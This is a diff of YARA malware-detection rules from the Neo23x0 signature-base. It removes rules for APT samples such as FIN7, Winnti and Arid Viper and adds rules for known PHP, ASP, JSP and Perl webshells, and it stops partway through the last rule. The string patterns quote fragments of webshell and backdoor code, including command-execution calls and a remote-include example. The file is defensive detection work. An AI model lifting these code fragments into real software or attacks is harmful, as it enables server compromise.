-		logic_hash = "e2739a89451a4eba0bae345203dd4c0e26f715bb079830e36c772861fdd0f4de"
+		description = "Semi-Auto-generated  - file DTool Pro.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "c02c522c-8418-5760-869a-52b41785bebc"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4755-L4767"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "366ad973a3f327dfbfb915b0faaea5a6"
+		logic_hash = "e8f8b4ca2ab4607e700e897671fd230280763a70897b8ccfc31b3bcb7f2a1f4a"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5c12379cd7ab3cb03dac354d0e850769873d45bb486c266a893c0daa452aa03c"
-		hash2 = "172cd90fd9e31ba70e47f0cc76c07d53e512da4cbfd197772c179fe604b75369"
-		hash3 = "1ce88e98c8b37ea68466657485f2c01010a4d4a88587ba0ae814f37680a2e7a8"
+		tags = ""
 
 	strings:
-		$s1 = "Wordpad.Document.1\\shell\\open\\command\\" wide
-		$s2 = "%s\\shell\\Open\\command" fullword wide
-		$s3 = "expanding computer" fullword ascii
+		$s0 = "r3v3ng4ns\\nDigite"
+		$s1 = "if(!@opendir($chdir)) $ch_msg=\"dtool: line 1: chdir: It seems that the permissi"
+		$s3 = "if (empty($cmd) and $ch_msg==\"\") echo (\"Comandos Exclusivos do DTool Pro\\n"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="bac338bfe2685483c201e15eae4352d5" or 2 of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_21 : FILE
+rule SIGNATURE_BASE_Telnetd_Pl
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2193e4b6-b71c-5031-8e43-fdd7177ad05c"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file telnetd.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "05b5d247-3133-5902-a2ee-b84fa89c7f32"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L357-L376"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4fdb162575bd108bb35e5c8ed10f7cac7539a15349218222dbb82d8eae8ad4bb"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4768-L4782"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5f61136afd17eb025109304bd8d6d414"
+		logic_hash = "faf21758b311fa4c2d11cd60169e6c9a67282cf739b73664456691361a480419"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4b7b9c2a9d5080ccc4e9934f2fd14b9d4e8f6f500889bf9750f1d672c8724438"
+		tags = ""
 
 	strings:
-		$s1 = "c:\\windows\\ime\\setup.exe" fullword ascii
-		$s2 = "ws.run \"later.bat /start\",0Cet " fullword ascii
-		$s3 = "del later.bat" fullword ascii
-		$s4 = "mycrs.xls" fullword ascii
-		$a1 = "-el -s2 \"-d%s\" \"-p%s\" \"-sp%s\"" fullword ascii
-		$a2 = "<set ws=wscript.createobject(\"wscript.shell\")" fullword ascii
+		$s0 = "0ldW0lf" fullword
+		$s1 = "However you are lucky :P"
+		$s2 = "I'm FuCKeD"
+		$s3 = "ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);#"
+		$s4 = "atrix@irc.brasnet.org"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and 2 of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_22 : FILE
+rule SIGNATURE_BASE_Php_Include_W_Shell_Php
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "90c6cda9-95a0-5de7-b1cd-110c238d993d"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file php-include-w-shell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ddcf9031-2ec8-5a86-8326-60e4a699f494"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L378-L395"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "af2d7917f54ca365465383484b6d19a941d4801898d162a6d3afa7b7c8491a0f"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4783-L4794"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4e913f159e33867be729631a7ca46850"
+		logic_hash = "a63910d97b7ef447b2cadb7de12943d3dbb6eada27d3097b8acf58d9b65b6f60"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fa116cf9410f1613003ca423ad6ca92657a61b8e9eda1b05caf4f30ca650aee5"
+		tags = ""
 
 	strings:
-		$s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\" ascii
-		$s3 = "Content-Disposition: form-data; name=\"txt\"; filename=\"" fullword ascii
-		$s4 = "Fail To Enum Service" fullword ascii
-		$s5 = "Host Power ON Time" fullword ascii
-		$s6 = "%d Hours %2d Minutes %2d Seconds " fullword ascii
+		$s0 = "$dataout .= \"<td><a href='$MyLoc?$SREQ&incdbhost=$myhost&incdbuser=$myuser&incd"
+		$s1 = "if($run == 1 && $phpshellapp && $phpshellhost && $phpshellport) $strOutput .= DB"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 4 of them
-}
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Airdviper_Sample_Apr18_1 : FILE
+		1 of them
+}
+rule SIGNATURE_BASE_Safe0Ver_Shell__Safe_Mod_Bypass_By_Evilc0Der_Php
 {
 	meta:
-		description = "Detects Arid Viper malware sample"
-		author = "Florian Roth (Nextron Systems)"
-		id = "00f118d1-be1c-5f50-a50f-591f824a1a53"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file Safe0ver Shell -Safe Mod Bypass By Evilc0der.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "25971f62-33ee-5ed6-8d72-118be5bd2deb"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L398-L422"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cbe1f36320eb9640ffbb6495faf7e5a062c5929d022bb56cbf0ebee810ef4e94"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4795-L4807"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6163b30600f1e80d2bb5afaa753490b6"
+		logic_hash = "46f6bb38f1175e02b03047c06a7aed968b1c1ce2e28cc4b88e15703040e91592"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9f453f1d5088bd17c60e812289b4bb0a734b7ad2ba5a536f5fd6d6ac3b8f3397"
+		tags = ""
 
 	strings:
-		$x1 = "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"%s\"" fullword ascii
-		$x2 = "daenerys=%s&" ascii
-		$x3 = "betriebssystem=%s&anwendung=%s&AV=%s" ascii
-		$s1 = "Taskkill /IM  %s /F &  %s" fullword ascii
-		$s2 = "/api/primewire/%s/requests/macKenzie/delete" fullword ascii
-		$s3 = "\\TaskWindows.exe" ascii
-		$s4 = "MicrosoftOneDrives.exe" fullword ascii
-		$s5 = "\\SeanSansom.txt" ascii
+		$s0 = "Safe0ver" fullword
+		$s1 = "Script Gecisi Tamamlayamadi!"
+		$s2 = "document.write(unescape('%3C%68%74%6D%6C%3E%3C%62%6F%64%79%3E%3C%53%43%52%49%50%"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <6000KB and (1 of ($x*) or 4 of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Winnti_Sample_May18_1 : FILE
+rule SIGNATURE_BASE_Shell_Php_Php
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report - Generic Winnti Rule"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c2f3339e-269f-5a51-8db6-06e54a707b3a"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "eaf243cb-fa26-5f34-a724-60a08acff636"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L426-L440"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e235396de278120cbc4700f239c41e7f21e97ba111c07022ae505de540dda2bc"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4808-L4820"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1a95f0163b6dea771da1694de13a3d8d"
+		logic_hash = "dbd08e71dc512f8dcf009150fb4448cd3608291ef9078c7e6b86e6f8d820bd94"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "528d9eaaac67716e6b37dd562770190318c8766fa1b2f33c0974f7d5f6725d41"
+		tags = ""
 
 	strings:
-		$s1 = "wireshark" fullword wide
-		$s2 = "procexp" fullword wide
+		$s1 = "/* We have found the parent dir. We must be carefull if the parent " fullword
+		$s2 = "$tmpfile = tempnam('/tmp', 'phpshell');"
+		$s3 = "if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Visel_Sample_May18_1 : FILE
+rule SIGNATURE_BASE_Telnet_Cgi
 {
 	meta:
-		description = "Detects Visel malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a244461a-380c-56e6-a891-131f6e13c280"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file telnet.cgi.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "4ca3dace-cd80-58e4-a4de-47dcc64dac0e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L442-L460"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3200e3224e037a116451b09ce265c1794a05406876376531ac81eb720fcb6945"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4821-L4833"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "dee697481383052980c20c48de1598d1"
+		logic_hash = "689c1d43c64aa7469989686c60fc9ab46acde42fdf3c1157bae1e2b8373c845f"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "35db8e6a2eb5cf09cd98bf5d31f6356d0deaf4951b353fc513ce98918b91439c"
+		tags = ""
 
 	strings:
-		$s2 = "print32.dll" fullword ascii
-		$s3 = "c:\\a\\b.txt" fullword ascii
-		$s4 = "\\temp\\s%d.dat" wide
+		$s1 = "W A R N I N G: Private Server"
+		$s2 = "print \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie"
+		$s3 = "$Prompt = $WinNT ? \"$CurrentDir> \" : \"[admin\\@$ServerName $C"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and (pe.exports("szFile") or 2 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_SUSP_Two_Byte_XOR_PE_And_MZ : FILE
+rule SIGNATURE_BASE_Ironshell_Php
 {
 	meta:
-		description = "Look for 2 byte xor of a PE starting at offset 0"
-		author = "Wesley Shields <wxs@atarininja.org>"
-		id = "ddb87194-bafb-597d-9184-fe4fe3c5ce8d"
-		date = "2021-10-11"
+		description = "Semi-Auto-generated  - file ironshell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "0d63ad03-4d1d-535f-8afe-3edaf1bf4010"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://gist.github.com/wxsBSD/bf7b88b27e9f879016b5ce2c778d3e83"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_xored_pe.yar#L2-L13"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8a43ff9ec966df72ef35fb9ba9bbbd6f8b0f3761669bb91dc5919645d6327174"
-		score = 70
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4834-L4848"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8bfa2eeb8a3ff6afc619258e39fded56"
+		logic_hash = "23574299ee2bb33c3f71102adf71ac8f09b6f8ece5f798beacb9b2432d297ee7"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+
+	strings:
+		$s0 = "www.ironwarez.info"
+		$s1 = "$cookiename = \"wieeeee\";"
+		$s2 = "~ Shell I"
+		$s3 = "www.rootshell-team.info"
+		$s4 = "setcookie($cookiename, $_POST['pass'], time()+3600);"
 
 	condition:
-		uint16(0)!=0x5a4d and uint32(( uint16(0x3c)^( uint16(0)^0x5a4d))|(( uint16(0x3e)^( uint16(0)^0x5a4d))<<16))^(( uint16(0)^0x5a4d)|(( uint16(0)^0x5a4d)<<16))==0x00004550
+		1 of them
 }
-rule SIGNATURE_BASE_SUSP_Four_Byte_XOR_PE_And_MZ : FILE
+rule SIGNATURE_BASE_Backdoorfr_Php
 {
 	meta:
-		description = "Look for 4 byte xor of a PE starting at offset 0"
-		author = "Wesley Shields <wxs@atarininja.org>"
-		id = "d7b4b462-dfde-5d1f-8039-63522436c15f"
-		date = "2021-10-11"
+		description = "Semi-Auto-generated  - file backdoorfr.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "5ba2b617-a873-5e80-9cfc-c61cc8d605f3"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://gist.github.com/wxsBSD/bf7b88b27e9f879016b5ce2c778d3e83"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_xored_pe.yar#L15-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "28230cd3c1d1da97a98df09243593eb59b57f376f651d5f22c3ea5903f0f73e4"
-		score = 70
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4849-L4860"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "91e4afc7444ed258640e85bcaf0fecfc"
+		logic_hash = "40a6fb41a65fd35acb7cdc36fdda90f5dc54b641adc3ba9eaae29c5e46622206"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+
+	strings:
+		$s1 = "www.victime.com/index.php?page=http://emplacement_de_la_backdoor.php , ou en tan"
+		$s2 = "print(\"<br>Provenance du mail : <input type=\\\"text\\\" name=\\\"provenanc"
 
 	condition:
-		uint16(0)!=0x5a4d and uint32(0x28)!=0x00000000 and uint32(0x28)== uint32(0x2c) and uint32( uint32(0x3c)^ uint32(0x28))^ uint32(0x28)==0x00004550
+		1 of them
 }
-rule SIGNATURE_BASE_Malware_Floxif_Mpsvc_Dll : HIGHVOL FILE
+rule SIGNATURE_BASE_Aspydrv_Asp
 {
 	meta:
-		description = "Malware - Floxif"
-		author = "Florian Roth (Nextron Systems)"
-		id = "37af366a-24b2-5402-b0b5-6e2c80f8c903"
-		date = "2017-04-07"
+		description = "Semi-Auto-generated  - file aspydrv.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "4420d13e-7015-5083-ba08-b41bf28b00c2"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_floxif.yar#L2-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e51258558dfd9a2c65589100a224492f4582067484c99d405b2d432a48cc6ed8"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4861-L4874"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1c01f8a88baee39aa1cebec644bbcb99"
+		logic_hash = "64912d7521d4bff33b5f3a78525bf4ed94246f5933753bed7ca02bedffc85f0f"
+		score = 60
 		quality = 85
-		tags = "HIGHVOL, FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1e654ee1c4736f4ccb8b5b7aa604782cfb584068df4d9e006de8009e60ab5a14"
+		tags = ""
 
 	strings:
-		$op1 = { 04 80 7a 03 01 75 04 8d 42 04 c3 8d 42 04 53 8b }
-		$op2 = { 88 19 74 03 41 eb ea c6 42 03 01 5b c3 8b 4c 24 }
-		$op3 = { ff 03 8d 00 f9 ff ff 88 01 eb a1 }
+		$s0 = "If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))"
+		$s1 = "password"
+		$s2 = "session(\"shagman\")="
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_FIN7_Strings_Aug18_1
+rule SIGNATURE_BASE_Cmdjsp_Jsp
 {
 	meta:
-		description = "Detects strings from FIN7 report in August 2018"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9b940986-e41b-5fbf-9e42-cb0fd550e541"
-		date = "2018-08-01"
+		description = "Semi-Auto-generated  - file cmdjsp.jsp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "048478a8-9622-54c7-80ed-e4e223d14500"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7.yar#L13-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "89d2f8f28a7ab0e78c53d8c41b45efa60cfa9ff72306c49197f52342d9a3c546"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4875-L4888"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b815611cc39f17f05a73444d699341d4"
+		logic_hash = "8b0e425c7d71ea2c536192ff186665e7f0fbdbc0e0d195d7107ac57cf9bd1773"
 		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b6354e46af0d69b6998dbed2fceae60a3b207584e08179748e65511d45849b00"
 
 	strings:
-		$s1 = "&&call %a01%%a02% /e:jscript" ascii
-		$s2 = "wscript.exe //b /e:jscript %TEMP%" ascii
-		$s3 = " w=wsc@ript /b " ascii
-		$s4 = "@echo %w:@=%|cmd" ascii
-		$s5 = " & wscript //b /e:jscript"
+		$s0 = "// note that linux = cmd and windows = \"cmd.exe /c + cmd\" " fullword
+		$s1 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /C \" + cmd);" fullword
+		$s2 = "cmdjsp.jsp"
+		$s3 = "michaeldaw.org" fullword
 
 	condition:
-		1 of them
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_FIN7_Sample_Aug18_2 : FILE
+rule SIGNATURE_BASE_H4Ntu_Shell__Powered_By_Tsoi_
 {
 	meta:
-		description = "Detects FIN7 malware sample"
-		author = "Florian Roth (Nextron Systems)"
-		id = "885eebfe-2587-5744-ba0c-c74ced946050"
-		date = "2018-08-01"
+		description = "Semi-Auto-generated  - file h4ntu shell [powered by tsoi].txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "186358e6-88a3-5fad-b1ba-a49b2a5dea1c"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7.yar#L32-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a46492383db5af8f60984b42c53a792632f836f1668fca2d564e0f1f1ed313f2"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4889-L4900"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "06ed0b2398f8096f1bebf092d0526137"
+		logic_hash = "32c620a4ed3f7a8640928e2211516978c12cfbdedb7d96e923303740407b5a1c"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1513c7630c981e4b1d0d5a55809166721df4f87bb0fac2d2b8ff6afae187f01d"
+		tags = ""
 
 	strings:
-		$x1 = "Description: C:\\Users\\oleg\\Desktop\\" wide
-		$x2 = "/*|*| *  Copyright 2016 Microsoft, Industries.|*| *  All rights reserved.|*|" ascii
-		$x3 = "32, 40, 102, 105, 108, 101, 95, 112, 97, 116, 104, 41, 41, 32" ascii
-		$x4 = "83, 108, 101, 101, 112, 40, 51, 48, 48, 48, 41, 59, 102, 115" ascii
-		$x5 = "80, 80, 68, 65, 84, 65, 37, 34, 41, 44, 115, 104, 101, 108, 108" ascii
+		$s0 = "h4ntu shell"
+		$s1 = "system(\"$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp\");"
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <2000KB and 1 of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_FIN7_Maldoc_Aug18_1 : FILE
+rule SIGNATURE_BASE_Ajan_Asp
 {
 	meta:
-		description = "Detects malicious Doc from FIN7 campaign"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f3c430e0-be9a-5c3f-9378-a20ef0492afb"
-		date = "2018-08-01"
+		description = "Semi-Auto-generated  - file Ajan.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "6040fd88-b992-5110-8b37-7711ace30b1a"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7.yar#L51-L64"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f3ecf77a5f909361f4a6af5ca0f25ec85721570587500a8ce2ef203158472e47"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4901-L4913"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b6f468252407efc2318639da22b08af0"
+		logic_hash = "13988af864a62ca04501288d4f2d830815ab453b14cef6795fe993db1dd1a9ef"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9c12591c850a2d5355be0ed9b3891ccb3f42e37eaf979ae545f2f008b5d124d6"
+		tags = ""
 
 	strings:
-		$s1 = "<photoshop:LayerText>If this document was downloaded from your email, please click  \"Enable editing\" from the yellow bar above" ascii
+		$s1 = "c:\\downloaded.zip"
+		$s2 = "Set entrika = entrika.CreateTextFile(\"c:\\net.vbs\", True)" fullword
+		$s3 = "http://www35.websamba.com/cybervurgun/"
 
 	condition:
-		filesize <800KB and 1 of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_FIN7_Sample_Aug18_1 : FILE
+rule SIGNATURE_BASE_PHANTASMA_Php
 {
 	meta:
-		description = "Detects FIN7 samples mentioned in FireEye report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0fdd98e8-7536-5159-8085-da7388e5fff2"
-		date = "2018-08-01"
+		description = "Semi-Auto-generated  - file PHANTASMA.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "21ff4cee-9cdc-57d1-9c43-e033fdb47de0"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7.yar#L66-L93"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5ff078f8cb93a841b68521cfbc120b18952c7ff5b56ab2f3b0eebf63a10aa572"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4914-L4927"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
